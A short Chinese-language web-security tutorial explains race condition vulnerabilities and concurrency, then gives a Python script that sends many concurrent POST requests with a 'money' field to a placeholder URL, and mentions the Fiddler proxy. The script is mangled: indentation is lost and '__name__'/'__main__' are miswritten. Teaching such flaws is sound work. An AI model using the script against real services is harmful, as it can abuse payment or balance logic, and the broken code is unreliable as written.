WEB安全之条件竞争漏洞


条件竞争漏洞

条件竞争漏洞是一种服务器端的漏洞

由于服务器在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类漏洞的发生

并发

并发实质上是一个物理CPU在若干程序之间多路复用

并发性是对有限物理资源强制行使多用户共享以提高效率

微观:并发请求通过算法排队等候执行

宏观:多个几乎同时到达的请求在同时被处理

利用

  1. 脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    import requests
    import threading
    import Queue

    url = "目标url"
    threads = 25
    q = Queue.Queue()

    for i in range(50):
    q.put(i)

    def post():
    while not q.empty():
    q.get()
    r = requests.post(url,data={'money':1})
    print(r.text)

    if _name_=='_main_':
    for i in range(threads):
    t = threading.Thread(target=post)
    t.start()

    for i in range(threads):
    t.join()
  2. 工具:Fiddler

    1.png

    Fiddler是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进出”Fiddler的数据(指cookie,html,js,css等文件)。 Fiddler 要比其他的网络调试器要更加简单,因为它不仅仅暴露http通讯还提供了一个用户友好的格式。

---------------The End---------------
0%